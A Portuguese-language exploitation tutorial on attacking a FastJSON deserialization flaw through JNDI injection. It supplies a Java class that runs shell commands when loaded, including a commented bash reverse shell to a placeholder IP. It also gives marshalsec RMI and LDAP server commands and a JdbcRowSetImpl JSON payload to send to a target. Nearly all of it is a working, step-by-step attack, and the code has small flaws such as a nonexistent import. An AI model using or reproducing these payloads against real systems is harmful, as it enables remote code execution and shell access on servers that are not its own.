Conteúdo- 1. Criação do Payload Malicioso
-
- Configuração do Servidor RMI
-
- Injeção do Payload no Alvo
- Referências
Após identificar uma vulnerabilidade no FastJSON através de ferramentas como DNSLog, o próximo passo é validar a execução de comandos no servidor alvo. Em vez de tentar um reverse shell diretamente — que envolve múltiplas etapas e maior probabilidade de falha — utilizaremos a execução do comando curl como prova de conceito.
- Criação do Payload Malicioso ==============================
import java.lang.Runtime;
import java.lang.ProcessManager;
public class MaliciousPayload {
static {
try {
Runtime runtime = Runtime.getRuntime();
String[] cmdArray = {"/bin/sh", "-c", "curl seu-dominio.dnslog.cn"};
Process proc = runtime.exec(cmdArray);
proc.waitFor();
} catch (Exception ex) {
// silencioso
}
}
}
// Para obter reverse shell, altere a linha do cmdArray:
// String[] cmdArray = {"/bin/sh", "-c", "bash -i >& /dev/tcp/IP/PORTA 0>&1"};
Compile o arquivo com javac MaliciousPayload.java e transfira o .class resultante para um servidor público acessível. Alternativamente, toda a edição pode ser feita diretamente no servidor via editor de texto.
- Configuração do Servidor RMI ==============================
Utilizaremos o projeto marshalsec para configurar o servidor RMI:
https://github.com/mbechler/marshalsec
Clone e compile o projeto com Maven:
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -Dmaven.test.skip=true
O artifact gerado será marshalsec-0.0.3-SNAPSHOT-all.jar. Coloque-o no mesmo diretório do arquivo .class malicioso.
Inicie um servidor HTTP simples no diretório atual:
python3 -m http.server 8000
Em seguida, ative o servidor RMI:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://SEU_IP:8000/#MaliciousPayload
// Alternativas com porta customizada:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://SEU_IP:8000/#MaliciousPayload 9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://SEU_IP:8000/#MaliciousPayload 9999
Se a inicialização ocorrrer corretamente, o servidor ficará em estado de escuta aguardando conexões.
- Injeção do Payload no Alvo =============================
A requisição pode ser enviada via Burp Suite ou via script. O payload JSON a ser injetado:
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://SEU_IP:9999/MaliciousPayload\",\"autoCommit\":true}
Após o envio, verifique no DNSLog se houve regisrto de aceso. Caso negativo, investigue possíveis causas como bloqueios de rede, versão do FastJSON incompatível, versão do Java no alvo, ou configurações de segurança que impedem a comunicação outbound.